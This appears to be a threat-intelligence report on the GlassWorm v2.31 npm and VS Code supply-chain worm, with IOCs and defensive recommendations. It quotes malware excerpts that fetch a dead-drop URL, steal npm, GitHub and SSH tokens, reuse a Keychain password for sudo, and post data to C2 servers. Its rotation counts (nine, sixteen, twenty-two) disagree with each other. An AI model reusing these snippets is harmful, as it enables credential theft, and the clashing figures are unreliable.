We Followed the Wallet: Tracking GlassWorm Through Nine C2 Rotations

TL;DR
- GlassWorm v2.31 is actively compromising developer workstations through trojanised npm packages and VS Code extensions; a coordinated industry takedown on 26 May 2026 was reversed by the operator within hours.
- One infected developer silently spreads the malware to every package they maintain, putting downstream users and CI/CD pipelines at risk without any further attacker action.
- The campaign routes its C2 through the Solana blockchain, making traditional domain or IP takedowns ineffective; it has operated continuously since November 2025 across 22 confirmed infrastructure rotations.
- Security teams should audit npm publish rights, block the network indicators at the end of this report, and hunt for the staging artefacts on developer endpoints.
Introduction
On April 24, 2026, a Solana wallet executed a transaction that cost less than a fraction of a cent. To anyone watching the blockchain as a whole, it was noise in millions of daily memos moving through the network.
For our team, this was a signal we had been waiting for.
The wallet is BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC. We first started tracking it in November 2025 after identifying it as GlassWorm’s primary C2 beacon channel. That April transaction contained base64-encoded IP address, embedded in the memo field of a standard spl-memo transaction. The ninth since we started watching.
Within days, two fresh malware samples appeared in the wild. Both hardcoded the updated infrastructure. We pulled them both, and what we found in version string 2.31 — newer than any publicly documented GlassWorm variant — warranted this post.
Note: The behavioral and technical analysis in this report is based on GlassWorm v2.31 samples observed in April 2026. Infrastructure details, C2 rotations, and IOCs have been updated with observations through early June 2026 following the May 26 takedown.
The Glassworm Malware
GlassWorm is a self-propagating worm malware with infostealer and remote access trojan (RAT) capability that targets developers by hiding in trojanised npm packages and VS Code / Open VSX extensions. What makes it a worm is propagation through trust: once it steals a developer’s npm publish token, it can republish malicious code under that developer’s identity, silently infecting everyone downstream. Its command-and-control runs through the Solana blockchain and Google Calendar dead-drops, which makes conventional domain/IP takedowns largely ineffective.
Why Developers Are the Target
Instead of social engineer approach (e.g. phishing), GlassWorm sits in the npm registry or the Open VSX marketplace, and waits for developers to come to it.
The credentials it harvests tell you everything about its targeting logic: npm publish tokens, GitHub Personal Access Tokens, CI/CD pipeline secrets, SSH private keys, cloud provider credentials. These belong to the engineers who sit at the centre of the modern software supply chain.


Run npm install on a malicious package and your credentials are already in transit to exfiltrated server by the time your terminal prompt returns.
What follows this “interaction” is that, a compromised developer with npm publish rights becomes an involuntary delivery vehicle. Their stolen token can republish malicious packages under their identity, silently extending the infection to every downstream user of their work. GlassWorm propagates through trust.
This is the supply chain threat model we outlined in Supply Chain As the Perimeter.[1] It is now actively playing out in production environments.
A Campaign We Have Been Watching Since November
Researchers first documented GlassWorm in March 2026, Russian-speaking criminal operators using trojanised npm packages to deliver a Remote Access Trojan.[2] Subsequent waves added Unicode obfuscation [3], macOS-specific infrastructure [4], and BitTorrent DHT as an alternative C2 channel [5]. In April 2026, researchers documented a parallel campaign that deployed 73 sleeper extensions to the Open VSX marketplace, six already activated at time of publication.[6]
The samples we analysed here carry version string 2.31, newer than the last publicly documented variant. Infrastructure has rotated twice since the previously tracked state.
On attribution: the Windows sample’s system-info collector contains Cyrillic variable labels toLocaleString(“ru-RU”) calls, Cyrillic field names. These are internal labels written in the developer’s own language. Earlier GlassWorm variants were reported to skip execution on Russian-locale systems; that check is absent in v2.31. Attribution to a Russian-speaking criminal actor is consistent across multiple researchers. Confidence: High.
The Blockchain Dead-Drop: How a $0.001 Transaction Redirects a Global Botnet
The Solana spl-memo program allows arbitrary UTF-8 text to be embedded in blockchain transaction memo fields. GlassWorm publishes C2 IP addresses there, base64-encoded:
Memo (raw) : {"link": "aHR0cDovLzQ1Ljc3LjYwLjE1Mw=="}
Decoded : http://45.77.60.153
The malware queries api.mainnet-beta.solana[.]com — traffic that is indistinguishable from legitimate DeFi activity at the network level. The dropper hardcodes the current C2 IP at build time. But the persistence layer — %APPDATA%\bDXfQAchc\index.js — uses the Solana lookup on each subsequent beacon to follow rotations without ever requiring a malware update.
The defender implication: taking down the C2 server does not evict already-infected hosts. The next memo transaction, costing less than $0.001, redirects every infected machine globally to a new IP. We have watched this happen across 62+ memo transactions (16 rotations) as of early June 2026, with the most rapid activity being operator-driven infrastructure tests rather than implant beacons.
For organisations running legitimate DeFi applications, on-chain treasury operations, or blockchain analytics tooling, a blanket block on api.mainnet-beta.solana.com is not viable. The practical control is contextual: alert on Solana RPC calls originating from workstations, build systems, and developer laptops that have no sanctioned DeFi function. The domain is not inherently malicious — the question is whether the process making the request has any legitimate reason to be polling a blockchain. In most enterprise environments, the answer for a Node.js process spawned from an npm postinstall hook is no.
On 26 May 2026, CrowdStrike publicly announced the takedown of GlassWorm’s known C2 infrastructure in coordination with Google and Shadowserver. Within hours, the operator began rotating IPs. Between 26–29 May, three new IPs appeared across six memo transactions in just three days — the most rapid rotation sequence observed. Most notably on 29 May: 87-second burst of 4 test memos alternating 137.184.198.91 and 162.33.177.177 (operator verifying servers, not implant-driven rotation). Switched from Vultr to DigitalOcean. Current active C2 137.184.198.91 remains dominant.
| Rotation | Date | C2 IP |
| 1 | Nov 2025 | 217[.]69[.]11[.]60 |
| 2 | Dec 2025 | 45[.]32[.]151[.]157 |
| 3 | Jan 2026 | 217[.]69[.]11[.]57 |
| 4 | Feb 2026 | 45[.]32[.]150[.]97 |
| 5 | Feb 2026 | 217[.]69[.]11[.]99 |
| 6 | Mar 2026 | 45[.]76[.]44[.]240 |
| 7 | Mar 2026 | 217[.]69[.]2[.]135 |
| 8 | Apr 2026 | 217[.]69[.]0[.]159 |
| 9 | Apr 24, 2026 | 45[.]77[.]60[.]153 |
| 10 | May 26, 2026 | 137[.]184[.]198[.]91 Current active C2 (DigitalOcean) |
What Changed in v2.31
A New C2 and a Dedicated Exfil Server
A Dead-Drop Resolver is a covert technique where threat actors hide malicious data inside legitimate online services to conduct evasive C2 communication. The malware reads from a publicly accessible resource rather than connecting directly to attacker infrastructure.
The Google Calendar dead-drop mechanism has been in use since at least March 2026. In March 2026, it was first reported that GlassWorm used Google Calendar as a dead-drop, embedding a base64 slug in a calendar event page to deliver the persistence path without publishing a new package.[7] The delivery vehicles at that time were react-native-country-select@0.3.91 and react-native-international-phone-number@0.11.8, using calendar.app.google/2NkrcKKj4T6Dn4uK6 and C2 45.32.150.251.
Dark Lab observed the same dead-drop architecture in the new v2.31 infrastructure : the Calendar URL has rotated to calendar.app.google/CcqGmLkERzV6kDa28 and C2 to 45.77.60.153, but the mechanism and the independent two-channel design are unchanged. The use of Google Calendar as a dead-drop is a relatively uncommon technique; it has also been documented in other advanced campaigns, though its appearance in financially motivated criminal tooling is a notable escalation.
doGLSkHlx(
atob("aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL0NjcUdtTGtFUnpWNmtEYTI4"),
(err, link) => tlvZhAS(atob(link), tlvZhASCall)
);
// atob(...) = https://calendar.app.google/CcqGmLkERzV6kDa28
The dropper fetches the Calendar URL, reads data-base-title from the page HTML, base64-decodes it to a slug, then GETs hxxp://45[.]77[.]60[.]153/<slug>. The C2 response delivers { script, iv, secretKey } — the persistence script is written to %APPDATA%\bDXfQAchc\index.js and registered via two independent mechanisms: a Scheduled Task named UpdateApp (AtLogon trigger) and a randomly-named key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Note that the two persistence entries are independent by design, with remediation requiring the removal of both malware, or the malware survives the next logon.
The two dead-drop channels also serve independent roles: Solana handles C2 IP rotation awareness; Google Calendar handles persistence payload delivery. Blocking Solana RPC kills the rotation beacon but leaves persistence delivery intact. Google Calendar simply cannot be realistically blocked in enterprise environments. Both channels need separate coverage.
w.node: The Browser Injector Without an Integrity Check
v2.31 downloads three native Node.js modules: c_x64.node (Chrome credential extraction), f_ex86.node (environment variable exfiltration), and w.node (browser injection). The first two validate their own file hash before executing — they abort on mismatch. w.node does not:
// c_x64.node — hash validated before execution:
const isValid = checkFileHash(pathModule, actualHash_c_x64);
if (!isValid) { return; }
// w.node — executed directly, no integrity check:
async function _runWNodeModule(unzipPATH) {
console.log("[w.node] Starting browser inject module");
// AES-128-CBC decrypt in-place, then eval(atob(...))
This is deliberate. c_x64 and f_ex86 are pinned to known builds; w.node can be swapped per-victim or per-campaign wave without touching the dropper. The operator has a flexible injection surface the dropper cannot attest to. If w.node ran on a host, the scope of browser compromise must be treated as unknown — you cannot bound it from the dropper alone.
The progression here is worth noting: fake browser extension (March) → w.node inside npm dropper (this report) → IDE sleeper extension (April reporting [8]). Each iteration moves the payload one level deeper into trusted tooling.
What v2.31 Collects
v2.31 expands credential collection on two dimensions relative to prior publicly documented GlassWorm reports: wallet coverage and file targeting.
Desktop wallets — beyond the browser extension targets documented previously:
| Wallet | Platform | Notable |
| Electrum | Windows | Full wallet directory traversal |
| Daedalus (Cardano) | Windows | Full-node wallet; common among ADA stake pool operators with multi-year accumulated rewards |
| Exodus, Atomic, Coinomi | Windows/macOS | Covered in prior GlassWorm reports |
Daedalus is particularly notable. It is a full-node Cardano wallet frequently held by stake pool operators. Its explicit inclusion signals a deliberate multi-chain operation.
Beyond wallets, the Windows sample scans Documents\ and Desktop\ (four levels deep) for images whose filenames match any of 35 crypto-related keywords: “seed”, “mnemonic”, “bip39”, “ledger”, “trezor”, “2fa”, “recovery”, and 28 more. Filename matching only with no content inspection. Developers who photograph hardware wallet recovery screens or store backup codes as images are the intended target. If the device is wiped after detection, those images have already left the network.
OPSEC Regression: A Fixed Directory That Gives Them Away
The macOS sample randomises its staging directory ($TMPDIR/<random>/). The Windows sample does not:
var _tempF = process.env.TEMP + "\\afNxMgFco\\";
%TEMP%\afNxMgFco\ is fixed across every Windows infection. Zero expected false positives. If you find it, you have a confirmed compromise. Sweep your fleet.
The Windows dropper also fetches portable Node.js runtimes (v22.9.0, x86 and x64) directly from nodejs.org, storing them at %APPDATA%\_node_x86\ and %APPDATA%\_node_x64\. Under this infection chain, no Node.js installation required on the victim machine. This path is specific to the npm dropper; the Open VSX sleeper vector uses the IDE’s embedded runtime.
Under the Hood: Cross-Platform Execution
| macOS | Windows | |
| Lines of code | 3,263 | 6,889 |
| Staging dir | `$TMPDIR/<random>/` | `%TEMP%\afNxMgFco\` (fixed) |
| Exfil endpoint | `/wall` | `/wall` + `/log` (AES per-session) |
| Persistence | Not in dropper | `%APPDATA%\bDXfQAchc\index.js` via PS1 |
| Privilege escalation | Keychain → sudo | Not observed |
| Native modules | 1 `.node` addon | 3 addons (c_x64, f_ex86, w.node) |
| Desktop wallets | Not observed | Exodus, Electrum, Guarda, Coinomi, Daedalus |
macOS
On macOS, credential collection runs as a parallel promise chain before exfiltration:
function startExf() {
Promise.allSettled([
NqzZI(), // GitHub token + SSH key theft
anYeIk(), // npm token theft
envExfiltration() // download + exec .node addon from C2
]).then(() => exfiltration()); // zip → POST /wall → self-delete
}
GitHub tokens are live-validated against `api.github.com/user` before staging, where working tokens go to tokenGit.txt, invalid ones to tokenGit_invalid.txt for offline review. SSH keys require a BEGIN PRIVATE KEY block; public keys and config noise are filtered. The operator is not collecting garbage; they are collecting working access.
macOS collection also attempts Keychain extraction with privilege escalation. If successful, it removes its own staging directory under sudo leaving no forensic trace:
const keychainPassword = child_process.execSync(
"security 2>&1 find-generic-password -s 'pass_users_for_script' -w"
).trim();
// Tests Keychain password as sudo password:
child_process.execSync(`echo ${JSON.stringify(password)} | sudo -S -k whoami`);
// On success: wipes staging directory — evidence destroyed
child_process.execSync(`sudo rm -rf ${stagingDir}`);
Windows
The Windows execution chain is more layered. Credential collection, persistence installation, and module loading are all sequenced deliberately, with persistence and modules arriving only after every wallet directory has been processed. Note the sequence of the execution : collection, exfiltration, persistence, followed by module execution.
wcedE()
→ download Node.js x86 + x64 (nodejs.org, parallel)
→ cFhYVfTyQ()
├── token theft (npm, GitHub — live API validation)
├── collectAdditionalData()
│ ├── .txt files (8 levels deep)
│ ├── crypto-keyword images (4 levels)
│ ├── cloud credentials (AWS, DO, Heroku, Terraform)
│ └── system info (Cyrillic field labels)
└── LNTMdy() ← wallet directory scan
[after ALL wallets collected]
├── script_zombi → Calendar dead-drop → index.js
│ + Scheduled Task "UpdateApp" + HKCU Run key
├── _processArchiveAndRunModules() ← 3 .node modules [parallel]
└── POST hxxp://217[.]69[.]3[.]152:80/log
Conclusion
GlassWorm v2.31 shows a disciplined, incremental campaign that has been quietly improving its infrastructure, expanding its collection scope, and hardening its persistence architecture, over five months. That approach demonstrates restraint that makes it effective.
Under this threat model, developers are high-value targets precisely because they are trusted actors in systems that most security controls treat as safe by default : npm publish tokens, GitHub PATs, cloud credentials all play their respective parts in an attack ecosystem. The downstream blast radius of a single compromised developer account can extend far beyond what any individual threat indicator would suggest.
As we noted in Supply Chain As the Perimeter: “Signed binaries arriving through trusted update channels are not, by themselves, evidence of integrity.”
Even after the coordinated takedown on 26 May, the operator was able to re-establish control within days using fresh infrastructure. The speed of the late-May rotations shows the campaign remains active and adaptive.
Indicators of Compromise
File Hashes
| Hash | Type | Note |
886373754c3cc3bc232e994116c8e0efebc3d67ee5c98feca36bb5df71a5c1da | SHA-256 | Windows dropper — v2.31 postinstall |
48a997b76fe8317c6c8e6ffa8af0b2e509e8987cd10c196e3a7cb4d8e05e9dc8 | SHA-256 | macOS dropper — v2.31 postinstall |
Network Indicators
| Indicator | Type | Role |
137[.]184[.]198[.]91 | IP | Active C2 — rotated May 2026 |
208.85.20[.]124 | IP | Dedicated exfil server |
208.76.223[.]59 | IP | Dedicated exfil server |
217[.]69[.]3[.]152 | IP | Dedicated exfil server (Previous) |
api.mainnet-beta.solana[.]com | Domain | Solana RPC — C2 IP rotation beacon |
calendar[.]app[.]google/CcqGmLkERzV6kDa28 | URL | Google Calendar dead-drop — persistence payload delivery |
Historical C2 IPs
| IP |
217[.]69[.]11[.]60 |
45[.]32[.]151[.]157 |
217[.]69[.]11[.]57 |
45[.]32[.]150[.]97 |
217[.]69[.]11[.]99 |
45[.]76[.]44[.]240 |
217[.]69[.]2[.]135 |
217[.]69[.]0[.]159 |
45[.]77[.]60[.]153 |
45[.]32[.]147[.]205 |
162[.]33[.]177[.]177 |
File and Host Indicators
| Indicator | Type | Note |
%TEMP%\afNxMgFco\ | Directory | Fixed Windows staging dir — zero false positives |
%APPDATA%\bDXfQAchc\index.js | File path | Windows persistence script |
%APPDATA%\_node_x86\ | Directory | Portable Node.js x86 runtime |
%APPDATA%\_node_x64\ | Directory | Portable Node.js x64 runtime |
ANLNqyTjx86.zip | Filename | Node.js x86 runtime archive |
znzvleRpUx64.zip | Filename | Node.js x64 runtime archive |
UpdateApp | Scheduled Task | AtLogon persistence — must be cleared on remediation |
c_x64.node / f_ex86.node / w.node | Filename | Native credential extraction modules |
Solana
| Indicator |
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC |
6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ |
28PKnu7RzizxBzFPoLp69HLXp9bJL3JFtT2s5QzHsEA2 |
5m49aU7pMecF7WWHi2n2aL7UaAjVCn2mYBnTVMUpHNMQ |
9h8p91NVckhiKLfkiQG5DY16AHQbQ1sLCsHnqRx7Mtvs |
Recommendations
For Individual Developers
- Rotate credentials before you investigate. Collection and exfiltration complete silently before any visible indicator appears. If you may be affected, revoke npm publish tokens, GitHub PATs, SSH keys, and cloud credentials immediately — forensics second.
- Check `
%TEMP%\afNxMgFco\` on every Windows machine you use for development. This directory name is fixed across every infection — if it exists, you are compromised. - Run `
npm install --ignore-scripts` for packages you haven’t reviewed. GlassWorm activates in the postinstall hook. Disabling scripts removes the trigger. - Verify AI-suggested package names against the official npm registry and the project’s GitHub repository before installing. Do not trust coding assistant suggestions without independent confirmation of provenance.
- If `
w.node` ran, assume full browser compromise. Treat all saved passwords, cookies, and active sessions as stolen — the payload is swapped per-victim and scope cannot be determined from the dropper.
For Security Teams and Enterprises
| Recommended Action | Observed Technique / Indicator |
| Alert on outbound connections to Vultr ASN 20473 or Digital Ocean AS 14061 from developer endpoints | Historically dominant ASN (rotations 1–9); operator moved to DigitalOcean in May 2026 but may return — keep as a hunting indicator. |
Hunt `%TEMP%\afNxMgFco\` across your Windows fleet | Fixed staging directory — zero false positives, fastest confirmation of compromise |
Hunt Scheduled Task “UpdateApp” (AtLogon) AND random-named HKCU Run keys together | Both persistence entries must be cleared — either alone survives logon |
| Alert on non-browser processes making HTTPS requests to calendar.app.google | Google Calendar dead-drop delivers persistence payload — cannot be blocked at DNS |
| Monitor npm publish token usage for unexpected package versions | Supply chain propagation via stolen publish tokens — compromised dev extends infection to downstream users |
Alert on `_node_x86` or `_node_x64` directories created under `%APPDATA%` | Portable Node.js runtime deployment is specific to the npm dropper vector |
For organisations with legitimate Solana RPC access: restrict outbound api.mainnet-beta.solana.com to approved DeFi services and alert on access from workstations, build systems, or developer endpoints with no sanctioned DeFi function | GlassWorm beacon traffic is indistinguishable from legitimate DeFi activity at the network layer — contextual allow-listing and process-level monitoring are required where a blanket block would disrupt production workloads |
MITRE ATT&CK Mapping
| Technique ID | Name | Observed In |
| T1195.002 | Supply Chain Compromise: Software Supply Chain | Trojanised npm packages / Open VSX extensions |
| T1059.007 | Command and Scripting: JavaScript | Node.js dropper execution chain |
| T1102.001 | Web Service: Dead Drop Resolver | Solana blockchain + Google Calendar C2 lookup |
| T1547.001 | Boot/Logon Autostart: Registry Run Keys | Random-named HKCU Run key persistence |
| T1053.005 | Scheduled Task/Job: Scheduled Task | UpdateApp scheduled task (AtLogon) |
| T1555.003 | Credentials from Password Stores: Web Browsers | c_x64.node Chrome credential extraction |
| T1552.001 | Unsecured Credentials: Credentials In Files | npm token, GitHub PAT, SSH key collection |
| T1552.004 | Unsecured Credentials: Private Keys | SSH private key harvesting (BEGIN PRIVATE KEY check) |
| T1041 | Exfiltration Over C2 Channel | POST to 217[.]69[.]3[.]152 /log and /wall |
| T1027 | Obfuscated Files or Information | base64-encoded Calendar URL and C2 memos |
| T1496 | Resource Hijacking | Crypto wallet targeting — Daedalus, Electrum, Exodus |
| T1070.004 | Indicator Removal: File Deletion | macOS sudo rm -rf staging dir on successful Keychain extraction |
Outlook
Nine rotations over five months are a sign of a persistent operation that has been running comfortably and at pace. The infrastructure renews before it is acted upon. The per-session AES keys prevent bulk decryption of intercepted traffic. The dead-drop architecture keeps infected hosts connected even after C2 takedowns.
What we expect next: the proliferation of AI coding tools will lower the barrier to initial access even further. The next campaign generation may not need a real package name. Attackers will register the packages that coding assistants hallucinate and wait. The delivery mechanism will remain npm install. The payload will remain silent. The developer will remain unaware until credentials have already rotated through a threat actor’s collection infrastructure on the other side of the operator’s remote infrastructure.
The trust developers place in their toolchains is the attack surface. Until that trust is earned through verifiable provenance : signed packages with reproducible builds, audited supply chains, automated publish-token rotation, GlassWorm and campaigns that follow its model will keep finding a way in.




























































































































































































































